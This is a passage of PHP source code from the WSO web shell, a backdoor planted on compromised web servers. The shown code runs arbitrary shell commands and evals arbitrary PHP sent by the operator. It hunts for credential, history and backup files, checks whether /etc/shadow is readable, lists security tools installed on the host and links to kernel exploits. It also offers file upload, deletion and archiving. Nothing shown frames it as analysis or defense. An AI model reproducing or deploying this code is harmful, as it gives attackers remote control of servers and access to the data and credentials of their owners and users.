files \" => \"locate config\",\n\r\t\t\"locate .conf files\"=>\"locate '.conf'\",\n\r\t\t\"locate .pwd files\" => \"locate '.pwd'\",\n\r\t\t\"locate .sql files\" => \"locate '.sql'\",\n\r\t\t\"locate .htpasswd files\" => \"locate '.htpasswd'\",\n\r\t\t\"locate .bash_history files\" => \"locate '.bash_history'\",\n\r\t\t\"locate .mysql_history files\" => \"locate '.mysql_history'\",\n\r\t\t\"locate .fetchmailrc files\" => \"locate '.fetchmailrc'\",\n\r\t\t\"locate backup files\" => \"locate backup\",\n\r\t\t\"locate dump files\" => \"locate dump\",\n\r\t\t\"locate priv files\" => \"locate priv\"\n\r\t);\n\r\n\rfunction wsoHeader() {\n\r\tif(empty(\$_POST['charset']))\n\r\t\t\$_POST['charset'] = \$GLOBALS['default_charset'];\n\r\tglobal \$color;\n\r\techo \"<html><head><meta http-equiv='Content-Type' content='text/html; charset=\" . \$_POST['charset'] . \"'><title>\" . \$_SERVER['HTTP_HOST'] . \" - WSO \" . WSO_VERSION .\"</title>\n\r<style>\n\rbody{background-color:#444;color:#e1e1e1;}\n\rbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\n\rtable.info{ color:#fff;background-color:#222; }\n\rspan,h1,a{ color: \$color !important; }\n\rspan{ font-weight: bolder; }\n\rh1{ border-left:5px solid \$color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\n\rdiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\n\ra{ text-decoration:none; }\n\ra:hover{ text-decoration:underline; }\n\r.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\n\r.bigarea{ width:100%;height:300px; }\n\rinput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid \$color; font: 9pt Monospace,'Courier New'; }\n\rform{ margin:0px; }\n\r#toolsTbl{ text-align:center; }\n\r.toolsInp{ width: 300px }\n\r.main th{text-align:left;background-color:#5e5e5e;}\n\r.main tr:hover{background-color:#5e5e5e}\n\r.l1{background-color:#444}\n\r.l2{background-color:#333}\n\rpre{font-family:Courier,Monospace;}\n\r</style>\n\r<script>\n\r var c_ = '\" . htmlspecialchars(\$GLOBALS['cwd']) . \"';\n\r var a_ = '\" . htmlspecialchars(@\$_POST['a']) .\"'\n\r var charset_ = '\" . htmlspecialchars(@\$_POST['charset']) .\"';\n\r var p1_ = '\" . ((strpos(@\$_POST['p1'],\"\\n\")!==false)?'':htmlspecialchars(\$_POST['p1'],ENT_QUOTES)) .\"';\n\r var p2_ = '\" . ((strpos(@\$_POST['p2'],\"\\n\")!==false)?'':htmlspecialchars(\$_POST['p2'],ENT_QUOTES)) .\"';\n\r var p3_ = '\" . ((strpos(@\$_POST['p3'],\"\\n\")!==false)?'':htmlspecialchars(\$_POST['p3'],ENT_QUOTES)) .\"';\n\r var d = document;\n\r\tfunction set(a,c,p1,p2,p3,charset) {\n\r\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\r\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\r\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\r\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\r\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\r\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\r\t}\n\r\tfunction g(a,c,p1,p2,p3,charset) {\n\r\t\tset(a,c,p1,p2,p3,charset);\n\r\t\td.mf.submit();\n\r\t}\n\r\tfunction a(a,c,p1,p2,p3,charset) {\n\r\t\tset(a,c,p1,p2,p3,charset);\n\r\t\tvar params = 'ajax=true';\n\r\t\tfor(i=0;i<d.mf.elements.length;i++)\n\r\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\n\r\t\tsr('\" . addslashes(\$_SERVER['REQUEST_URI']) .\"', params);\n\r\t}\n\r\tfunction sr(url, params) {\n\r\t\tif (window.XMLHttpRequest)\n\r\t\t\treq = new XMLHttpRequest();\n\r\t\telse if (window.ActiveXObject)\n\r\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\n\r if (req) {\n\r req.onreadystatechange = processReqChange;\n\r req.open('POST', url, true);\n\r req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\n\r req.send(params);\n\r }\n\r\t}\n\r\tfunction processReqChange() {\n\r\t\tif( (req.readyState == 4) )\n\r\t\t\tif(req.status == 200) {\n\r\t\t\t\tvar reg = new RegExp(\\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\\", 'm');\n\r\t\t\t\tvar arr=reg.exec(req.responseText);\n\r\t\t\t\teval(arr[2].substr(0, arr[1]));\n\r\t\t\t} else alert('Request error!');\n\r\t}\n\r</script>\n\r<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>\n\r<form method=post name=mf style='display:none;'>\n\r<input type=hidden name=a>\n\r<input type=hidden name=c>\n\r<input type=hidden name=p1>\n\r<input type=hidden name=p2>\n\r<input type=hidden name=p3>\n\r<input type=hidden name=charset>\n\r</form>\";\n\r\t\$freeSpace = @diskfreespace(\$GLOBALS['cwd']);\n\r\t\$totalSpace = @disk_total_space(\$GLOBALS['cwd']);\n\r\t\$totalSpace = \$totalSpace?\$totalSpace:1;\n\r\t\$release = @php_uname('r');\n\r\t\$kernel = @php_uname('s');\n\r\t\$explink = 'http://exploit-db.com/search/?action=search&filter_description=';\n\r\tif(strpos('Linux', \$kernel) !== false)\n\r\t\t\$explink .= urlencode('Linux Kernel ' . substr(\$release,0,6));\n\r\telse\n\r\t\t\$explink .= urlencode(\$kernel . ' ' . substr(\$release,0,3));\n\r\tif(!function_exists('posix_getegid')) {\n\r\t\t\$user = @get_current_user();\n\r\t\t\$uid = @getmyuid();\n\r\t\t\$gid = @getmygid();\n\r\t\t\$group = \"?\";\n\r\t} else {\n\r\t\t\$uid = @posix_getpwuid(posix_geteuid());\n\r\t\t\$gid = @posix_getgrgid(posix_getegid());\n\r\t\t\$user = \$uid['name'];\n\r\t\t\$uid = \$uid['uid'];\n\r\t\t\$group = \$gid['name'];\n\r\t\t\$gid = \$gid['gid'];\n\r\t}\n\r\n\r\t\$cwd_links = '';\n\r\t\$path = explode(\"/\", \$GLOBALS['cwd']);\n\r\t\$n=count(\$path);\n\r\tfor(\$i=0; \$i<\$n-1; \$i++) {\n\r\t\t\$cwd_links .= \"<a href='#' onclick='g(\\\"FilesMan\\\",\\\"\";\n\r\t\tfor(\$j=0; \$j<=\$i; \$j++)\n\r\t\t\t\$cwd_links .= \$path[\$j].'/';\n\r\t\t\$cwd_links .= \"\\\")'>\".\$path[\$i].\"/</a>\";\n\r\t}\n\r\n\r\t\$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');\n\r\t\$opt_charsets = '';\n\r\tforeach(\$charsets as \$item)\n\r\t\t\$opt_charsets .= '<option value=\"'.\$item.'\" '.(\$_POST['charset']==\$item?'selected':'').'>'.\$item.'</option>';\n\r\n\r\t\$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');\n\r\tif(!empty(\$GLOBALS['auth_pass']))\n\r\t\t\$m['Logout'] = 'Logout';\n\r\t\$m['Self remove'] = 'SelfRemove';\n\r\t\$menu = '';\n\r\tforeach(\$m as \$k => \$v)\n\r\t\t\$menu .= '<th width=\"'.(int)(100/count(\$m)).'%\">[ <a href=\"#\" onclick=\"g(\\''.\$v.'\\',null,\\'\\',\\'\\',\\'\\')\">'.\$k.'</a> ]</th>';\n\r\n\r\t\$drives = \"\";\n\r\tif(\$GLOBALS['os'] == 'win') {\n\r\t\tforeach(range('c','z') as \$drive)\n\r\t\tif(is_dir(\$drive.':\\\\'))\n\r\t\t\t\$drives .= '<a href=\"#\" onclick=\"g(\\'FilesMan\\',\\''.\$drive.':/\\')\">[ '.\$drive.' ]</a> ';\n\r\t}\n\r\techo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . (\$GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'\n\r . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href=\"' . \$explink . '\" target=_blank>[exploit-db.com]</a></nobr><br>' . \$uid . ' ( ' . \$user . ' ) <span>Group:</span> ' . \$gid . ' ( ' . \$group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . (\$GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')\n\r . ' <a href=# onclick=\"g(\\'Php\\',null,\\'\\',\\'info\\')\">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize(\$totalSpace) . ' <span>Free:</span> ' . wsoViewSize(\$freeSpace) . ' ('. (int) (\$freeSpace/\$totalSpace*100) . '%)<br>' . \$cwd_links . ' '. wsoPermsColor(\$GLOBALS['cwd']) . ' <a href=# onclick=\"g(\\'FilesMan\\',\\'' . \$GLOBALS['home_cwd'] . '\\',\\'\\',\\'\\',\\'\\')\">[ home ]</a><br>' . \$drives . '</td>'\n\r . '<td width=1 align=right><nobr><select onchange=\"g(null,null,null,null,null,this.value)\"><optgroup label=\"Page charset\">' . \$opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @\$_SERVER[\"SERVER_ADDR\"] . '<br><span>Client IP:</span><br>' . \$_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'\n\r . '<table style=\"border-top:2px solid #333;\" cellpadding=3 cellspacing=0 width=100%><tr>' . \$menu . '</tr></table><div style=\"margin:5\">';\n\r}\n\r\n\rfunction wsoFooter() {\n\r\t\$is_writable = is_writable(\$GLOBALS['cwd'])?\" <font color='green'>(Writeable)</font>\":\" <font color=red>(Not writable)</font>\";\n\r echo \"\n\r</div>\n\r<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>\n\r\t<tr>\n\r\t\t<td><form onsubmit='g(null,this.c.value,\\\"\\\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='\" . htmlspecialchars(\$GLOBALS['cwd']) .\"'><input type=submit value='>>'></form></td>\n\r\t\t<td><form onsubmit=\\\"g('FilesTools',null,this.f.value);return false;\\\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\n\r\t</tr><tr>\n\r\t\t<td><form onsubmit=\\\"g('FilesMan',null,'mkdir',this.d.value);return false;\\\"><span>Make dir:</span>\$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>\n\r\t\t<td><form onsubmit=\\\"g('FilesTools',null,this.f.value,'mkfile');return false;\\\"><span>Make file:</span>\$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\n\r\t</tr><tr>\n\r\t\t<td><form onsubmit=\\\"g('Console',null,this.c.value);return false;\\\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>\n\r\t\t<td><form method='post' ENCTYPE='multipart/form-data'>\n\r\t\t<input type=hidden name=a value='FilesMAn'>\n\r\t\t<input type=hidden name=c value='\" . \$GLOBALS['cwd'] .\"'>\n\r\t\t<input type=hidden name=p1 value='uploadFile'>\n\r\t\t<input type=hidden name=charset value='\" . (isset(\$_POST['charset'])?\$_POST['charset']:'') . \"'>\n\r\t\t<span>Upload file:</span>\$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>\n\r\t</tr></table></div></body></html>\";\n\r}\n\r\n\rif (!function_exists(\"posix_getpwuid\") && (strpos(\$GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {\n\r function posix_getpwuid(\$p) {return false;} }\n\rif (!function_exists(\"posix_getgrgid\") && (strpos(\$GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {\n\r function posix_getgrgid(\$p) {return false;} }\n\r\n\rfunction wsoEx(\$in) {\n\r\t\$out = '';\n\r\tif (function_exists('exec')) {\n\r\t\t@exec(\$in,\$out);\n\r\t\t\$out = @join(\"\\n\",\$out);\n\r\t} elseif (function_exists('passthru')) {\n\r\t\tob_start();\n\r\t\t@passthru(\$in);\n\r\t\t\$out = ob_get_clean();\n\r\t} elseif (function_exists('system')) {\n\r\t\tob_start();\n\r\t\t@system(\$in);\n\r\t\t\$out = ob_get_clean();\n\r\t} elseif (function_exists('shell_exec')) {\n\r\t\t\$out = shell_exec(\$in);\n\r\t} elseif (is_resource(\$f = @popen(\$in,\"r\"))) {\n\r\t\t\$out = \"\";\n\r\t\twhile(!@feof(\$f))\n\r\t\t\t\$out .= fread(\$f,1024);\n\r\t\tpclose(\$f);\n\r\t}\n\r\treturn \$out;\n\r}\n\r\n\rfunction wsoViewSize(\$s) {\n\r if (is_int(\$s))\n\r \$s = sprintf(\"%u\", \$s);\n\r \n\r\tif(\$s >= 1073741824)\n\r\t\treturn sprintf('%1.2f', \$s / 1073741824 ). ' GB';\n\r\telseif(\$s >= 1048576)\n\r\t\treturn sprintf('%1.2f', \$s / 1048576 ) . ' MB';\n\r\telseif(\$s >= 1024)\n\r\t\treturn sprintf('%1.2f', \$s / 1024 ) . ' KB';\n\r\telse\n\r\t\treturn \$s . ' B';\n\r}\n\r\n\rfunction wsoPerms(\$p) {\n\r\tif ((\$p & 0xC000) == 0xC000)\$i = 's';\n\r\telseif ((\$p & 0xA000) == 0xA000)\$i = 'l';\n\r\telseif ((\$p & 0x8000) == 0x8000)\$i = '-';\n\r\telseif ((\$p & 0x6000) == 0x6000)\$i = 'b';\n\r\telseif ((\$p & 0x4000) == 0x4000)\$i = 'd';\n\r\telseif ((\$p & 0x2000) == 0x2000)\$i = 'c';\n\r\telseif ((\$p & 0x1000) == 0x1000)\$i = 'p';\n\r\telse \$i = 'u';\n\r\t\$i .= ((\$p & 0x0100) ? 'r' : '-');\n\r\t\$i .= ((\$p & 0x0080) ? 'w' : '-');\n\r\t\$i .= ((\$p & 0x0040) ? ((\$p & 0x0800) ? 's' : 'x' ) : ((\$p & 0x0800) ? 'S' : '-'));\n\r\t\$i .= ((\$p & 0x0020) ? 'r' : '-');\n\r\t\$i .= ((\$p & 0x0010) ? 'w' : '-');\n\r\t\$i .= ((\$p & 0x0008) ? ((\$p & 0x0400) ? 's' : 'x' ) : ((\$p & 0x0400) ? 'S' : '-'));\n\r\t\$i .= ((\$p & 0x0004) ? 'r' : '-');\n\r\t\$i .= ((\$p & 0x0002) ? 'w' : '-');\n\r\t\$i .= ((\$p & 0x0001) ? ((\$p & 0x0200) ? 't' : 'x' ) : ((\$p & 0x0200) ? 'T' : '-'));\n\r\treturn \$i;\n\r}\n\r\n\rfunction wsoPermsColor(\$f) {\n\r\tif (!@is_readable(\$f))\n\r\t\treturn '<font color=#FF0000>' . wsoPerms(@fileperms(\$f)) . '</font>';\n\r\telseif (!@is_writable(\$f))\n\r\t\treturn '<font color=white>' . wsoPerms(@fileperms(\$f)) . '</font>';\n\r\telse\n\r\t\treturn '<font color=#25ff00>' . wsoPerms(@fileperms(\$f)) . '</font>';\n\r}\n\r\n\rfunction wsoScandir(\$dir) {\n\r if(function_exists(\"scandir\")) {\n\r return scandir(\$dir);\n\r } else {\n\r \$dh = opendir(\$dir);\n\r while (false !== (\$filename = readdir(\$dh)))\n\r \$files[] = \$filename;\n\r return \$files;\n\r }\n\r}\n\r\n\rfunction wsoWhich(\$p) {\n\r\t\$path = wsoEx('which ' . \$p);\n\r\tif(!empty(\$path))\n\r\t\treturn \$path;\n\r\treturn false;\n\r}\n\r\n\rfunction actionSecInfo() {\n\r\twsoHeader();\n\r\techo '<h1>Server security information</h1><div class=content>';\n\r\tfunction wsoSecParam(\$n, \$v) {\n\r\t\t\$v = trim(\$v);\n\r\t\tif(\$v) {\n\r\t\t\techo '<span>' . \$n . ': </span>';\n\r\t\t\tif(strpos(\$v, \"\\n\") === false)\n\r\t\t\t\techo \$v . '<br>';\n\r\t\t\telse\n\r\t\t\t\techo '<pre class=ml1>' . \$v . '</pre>';\n\r\t\t}\n\r\t}\n\r\n\r\twsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));\n\r if(function_exists('apache_get_modules'))\n\r wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));\n\r\twsoSecParam('Disabled PHP Functions', \$GLOBALS['disable_functions']?\$GLOBALS['disable_functions']:'none');\n\r\twsoSecParam('Open base dir', @ini_get('open_basedir'));\n\r\twsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));\n\r\twsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));\n\r\twsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');\n\r\t\$temp=array();\n\r\tif(function_exists('mysql_get_client_info'))\n\r\t\t\$temp[] = \"MySql (\".mysql_get_client_info().\")\";\n\r\tif(function_exists('mssql_connect'))\n\r\t\t\$temp[] = \"MSSQL\";\n\r\tif(function_exists('pg_connect'))\n\r\t\t\$temp[] = \"PostgreSQL\";\n\r\tif(function_exists('oci_connect'))\n\r\t\t\$temp[] = \"Oracle\";\n\r\twsoSecParam('Supported databases', implode(', ', \$temp));\n\r\techo '<br>';\n\r\n\r\tif(\$GLOBALS['os'] == 'nix') {\n\r wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?\"yes <a href='#' onclick='g(\\\"FilesTools\\\", \\\"/etc/\\\", \\\"passwd\\\")'>[view]</a>\":'no');\n\r wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?\"yes <a href='#' onclick='g(\\\"FilesTools\\\", \\\"/etc/\\\", \\\"shadow\\\")'>[view]</a>\":'no');\n\r wsoSecParam('OS version', @file_get_contents('/proc/version'));\n\r wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));\n\r if(!\$GLOBALS['safe_mode']) {\n\r \$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');\n\r \$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');\n\r \$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');\n\r echo '<br>';\n\r \$temp=array();\n\r foreach (\$userful as \$item)\n\r if(wsoWhich(\$item))\n\r \$temp[] = \$item;\n\r wsoSecParam('Userful', implode(', ',\$temp));\n\r \$temp=array();\n\r foreach (\$danger as \$item)\n\r if(wsoWhich(\$item))\n\r \$temp[] = \$item;\n\r wsoSecParam('Danger', implode(', ',\$temp));\n\r \$temp=array();\n\r foreach (\$downloaders as \$item)\n\r if(wsoWhich(\$item))\n\r \$temp[] = \$item;\n\r wsoSecParam('Downloaders', implode(', ',\$temp));\n\r echo '<br/>';\n\r wsoSecParam('HDD space', wsoEx('df -h'));\n\r wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));\n\r echo '<br/><span>posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit=\\'g(null,null,\"5\",this.param1.value,this.param2.value);return false;\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\">>\"></form>';\n\r if (isset (\$_POST['p2'], \$_POST['p3']) && is_numeric(\$_POST['p2']) && is_numeric(\$_POST['p3'])) {\n\r \$temp = \"\";\n\r for(;\$_POST['p2'] <= \$_POST['p3'];\$_POST['p2']++) {\n\r \$uid = @posix_getpwuid(\$_POST['p2']);\n\r if (\$uid)\n\r \$temp .= join(':',\$uid).\"\\n\";\n\r }\n\r echo '<br/>';\n\r wsoSecParam('Users', \$temp);\n\r }\n\r }\n\r\t} else {\n\r\t\twsoSecParam('OS Version',wsoEx('ver'));\n\r\t\twsoSecParam('Account Settings',wsoEx('net accounts'));\n\r\t\twsoSecParam('User Accounts',wsoEx('net user'));\n\r\t}\n\r\techo '</div>';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionPhp() {\n\r\tif(isset(\$_POST['ajax'])) {\n\r WSOsetcookie(md5(\$_SERVER['HTTP_HOST']) . 'ajax', true);\n\r\t\tob_start();\n\r\t\teval(\$_POST['p1']);\n\r\t\t\$temp = \"document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='\" . addcslashes(htmlspecialchars(ob_get_clean()), \"\\n\\r\\t\\\\'\\0\") . \"';\\n\";\n\r\t\techo strlen(\$temp), \"\\n\", \$temp;\n\r\t\texit;\n\r\t}\n\r if(empty(\$_POST['ajax']) && !empty(\$_POST['p1']))\n\r WSOsetcookie(md5(\$_SERVER['HTTP_HOST']) . 'ajax', 0);\n\r\n\r\twsoHeader();\n\r\tif(isset(\$_POST['p2']) && (\$_POST['p2'] == 'info')) {\n\r\t\techo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';\n\r\t\tob_start();\n\r\t\tphpinfo();\n\r\t\t\$tmp = ob_get_clean();\n\r \$tmp = preg_replace(array (\n\r '!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU',\n\r '!td, th {(.*)}!msiU',\n\r '!<img[^>]+>!msiU',\n\r ), array (\n\r '',\n\r '.e, .v, .h, .h th {\$1}',\n\r ''\n\r ), \$tmp);\n\r\t\techo str_replace('<h1','<h2', \$tmp) .'</div><br>';\n\r\t}\n\r echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit=\"if(this.ajax.checked){a(\\'Php\\',null,this.code.value);}else{g(\\'Php\\',null,this.code.value,\\'\\');}return false;\"><textarea name=code class=bigarea id=PhpCode>'.(!empty(\$_POST['p1'])?htmlspecialchars(\$_POST['p1']):'').'</textarea><input type=submit value=Eval style=\"margin-top:5px\">';\n\r\techo ' <input type=checkbox name=ajax value=1 > send using AJAX</form><pre id=PhpOutput style=\"'.(empty(\$_POST['p1'])?'display:none;':'').'margin-top:5px;\" class=ml1>';\n\r\tif(!empty(\$_POST['p1'])) {\n\r\t\tob_start();\n\r\t\teval(\$_POST['p1']);\n\r\t\techo htmlspecialchars(ob_get_clean());\n\r\t}\n\r\techo '</pre></div>';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionFilesMan() {\n\r if (!empty (\$_COOKIE['f']))\n\r \$_COOKIE['f'] = @unserialize(\$_COOKIE['f']);\n\r \n\r\tif(!empty(\$_POST['p1'])) {\n\r\t\tswitch(\$_POST['p1']) {\n\r\t\t\tcase 'uploadFile':\n\r\t\t\t\tif(!@move_uploaded_file(\$_FILES['f']['tmp_name'], \$_FILES['f']['name']))\n\r\t\t\t\t\techo \"Can't upload file!\";\n\r\t\t\t\tbreak;\n\r\t\t\tcase 'mkdir':\n\r\t\t\t\tif(!@mkdir(\$_POST['p2']))\n\r\t\t\t\t\techo \"Can't create new dir\";\n\r\t\t\t\tbreak;\n\r\t\t\tcase 'delete':\n\r\t\t\t\tfunction deleteDir(\$path) {\n\r\t\t\t\t\t\$path = (substr(\$path,-1)=='/') ? \$path:\$path.'/';\n\r\t\t\t\t\t\$dh = opendir(\$path);\n\r\t\t\t\t\twhile ( (\$item = readdir(\$dh) ) !== false) {\n\r\t\t\t\t\t\t\$item = \$path.\$item;\n\r\t\t\t\t\t\tif ( (basename(\$item) == \"..\") || (basename(\$item) == \".\") )\n\r\t\t\t\t\t\t\tcontinue;\n\r\t\t\t\t\t\t\$type = filetype(\$item);\n\r\t\t\t\t\t\tif (\$type == \"dir\")\n\r\t\t\t\t\t\t\tdeleteDir(\$item);\n\r\t\t\t\t\t\telse\n\r\t\t\t\t\t\t\t@unlink(\$item);\n\r\t\t\t\t\t}\n\r\t\t\t\t\tclosedir(\$dh);\n\r\t\t\t\t\t@rmdir(\$path);\n\r\t\t\t\t}\n\r\t\t\t\tif(is_array(@\$_POST['f']))\n\r\t\t\t\t\tforeach(\$_POST['f'] as \$f) {\n\r if(\$f == '..')\n\r continue;\n\r\t\t\t\t\t\t\$f = urldecode(\$f);\n\r\t\t\t\t\t\tif(is_dir(\$f))\n\r\t\t\t\t\t\t\tdeleteDir(\$f);\n\r\t\t\t\t\t\telse\n\r\t\t\t\t\t\t\t@unlink(\$f);\n\r\t\t\t\t\t}\n\r\t\t\t\tbreak;\n\r\t\t\tcase 'paste':\n\r\t\t\t\tif(\$_COOKIE['act'] == 'copy') {\n\r\t\t\t\t\tfunction copy_paste(\$c,\$s,\$d){\n\r\t\t\t\t\t\tif(is_dir(\$c.\$s)){\n\r\t\t\t\t\t\t\tmkdir(\$d.\$s);\n\r\t\t\t\t\t\t\t\$h = @opendir(\$c.\$s);\n\r\t\t\t\t\t\t\twhile ((\$f = @readdir(\$h)) !== false)\n\r\t\t\t\t\t\t\t\tif ((\$f != \".\") and (\$f != \"..\"))\n\r\t\t\t\t\t\t\t\t\tcopy_paste(\$c.\$s.'/',\$f, \$d.\$s.'/');\n\r\t\t\t\t\t\t} elseif(is_file(\$c.\$s))\n\r\t\t\t\t\t\t\t@copy(\$c.\$s, \$d.\$s);\n\r\t\t\t\t\t}\n\r\t\t\t\t\tforeach(\$_COOKIE['f'] as \$f)\n\r\t\t\t\t\t\tcopy_paste(\$_COOKIE['c'],\$f, \$GLOBALS['cwd']);\n\r\t\t\t\t} elseif(\$_COOKIE['act'] == 'move') {\n\r\t\t\t\t\tfunction move_paste(\$c,\$s,\$d){\n\r\t\t\t\t\t\tif(is_dir(\$c.\$s)){\n\r\t\t\t\t\t\t\tmkdir(\$d.\$s);\n\r\t\t\t\t\t\t\t\$h = @opendir(\$c.\$s);\n\r\t\t\t\t\t\t\twhile ((\$f = @readdir(\$h)) !== false)\n\r\t\t\t\t\t\t\t\tif ((\$f != \".\") and (\$f != \"..\"))\n\r\t\t\t\t\t\t\t\t\tcopy_paste(\$c.\$s.'/',\$f, \$d.\$s.'/');\n\r\t\t\t\t\t\t} elseif(@is_file(\$c.\$s))\n\r\t\t\t\t\t\t\t@copy(\$c.\$s, \$d.\$s);\n\r\t\t\t\t\t}\n\r\t\t\t\t\tforeach(\$_COOKIE['f'] as \$f)\n\r\t\t\t\t\t\t@rename(\$_COOKIE['c'].\$f, \$GLOBALS['cwd'].\$f);\n\r\t\t\t\t} elseif(\$_COOKIE['act'] == 'zip') {\n\r\t\t\t\t\tif(class_exists('ZipArchive')) {\n\r \$zip = new ZipArchive();\n\r if (\$zip->open(\$_POST['p2'], 1)) {\n\r chdir(\$_COOKIE['c']);\n\r foreach(\$_COOKIE['f'] as \$f) {\n\r if(\$f == '..')\n\r continue;\n\r if(@is_file(\$_COOKIE['c'].\$f))\n\r \$zip->addFile(\$_COOKIE['c'].\$f, \$f);\n\r elseif(@is_dir(\$_COOKIE['c'].\$f)) {\n\r \$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(\$f.'/', FilesystemIterator::SKIP_DOTS));\n\r foreach (\$iterator as \$key=>\$value) {\n\r \$zip->addFile(realpath(\$key), \$key);\n\r }\n\r }\n\r }\n\r chdir(\$GLOBALS['cwd']);\n\r \$zip->close();\n\r }\n\r }\n\r\t\t\t\t} elseif(\$_COOKIE['act'] == 'unzip') {\n\r\t\t\t\t\tif(class_exists('ZipArchive')) {\n\r \$zip = new ZipArchive();\n\r foreach(\$_COOKIE['f'] as \$f) {\n\r if(\$zip->open(\$_COOKIE['c'].\$f)) {\n\r \$zip->extractTo(\$GLOBALS['cwd']);\n\r \$zip->close();\n\r }\n\r }\n\r }\n\r\t\t\t\t} elseif(\$_COOKIE['act'] == 'tar') {\n\r chdir(\$_COOKIE['c']);\n\r \$_COOKIE['f'] = array_map('escapeshellarg', \$_COOKIE['f']);\n\r wsoEx('tar cfzv ' . escapeshellarg(\$_POST['p2']) . ' ' . implode(' ', \$_COOKIE['f']));\n\r chdir(\$GLOBALS['cwd']);\n\r\t\t\t\t}\n\r\t\t\t\tunset(\$_COOKIE['f']);\n\r setcookie('f', '', time() - 3600);\n\r\t\t\t\tbreak;\n\r\t\t\tdefault:\n\r if(!empty(\$_POST['p1'])) {\n\r\t\t\t\t\tWSOsetcookie('act', \$_POST['p1']);\n\r\t\t\t\t\tWSOsetcookie('f', serialize(@\$_POST['f']));\n\r\t\t\t\t\tWSOsetcookie('c', @\$_POST['c']);\n\r\t\t\t\t}\n\r\t\t\t\tbreak;\n\r\t\t}\n\r\t}\n\r wsoHeader();\n\r\techo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>';\n\r\t\$dirContent = wsoScandir(isset(\$_POST['c'])?\$_POST['c']:\$GLOBALS['cwd']);\n\r\tif(\$dirContent === false) {\techo 'Can\\'t open this folder!';wsoFooter(); return; }\n\r\tglobal \$sort;\n\r\t\$sort = array('name', 1);\n\r\tif(!empty(\$_POST['p1'])) {\n\r\t\tif(preg_match('!s_([A-z]+)_(\\d{1})!', \$_POST['p1'], \$match))\n\r\t\t\t\$sort = array(\$match[1], (int)\$match[2]);\n\r\t}\n\recho \"<script>\n\r\tfunction sa() {\n\r\t\tfor(i=0;i<d.files.elements.length;i++)\n\r\t\t\tif(d.files.elements[i].type == 'checkbox')\n\r\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\r\t}\n\r</script>\n\r<table width='100%' class='main' cellspacing='0' cellpadding='2'>\n\r<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' 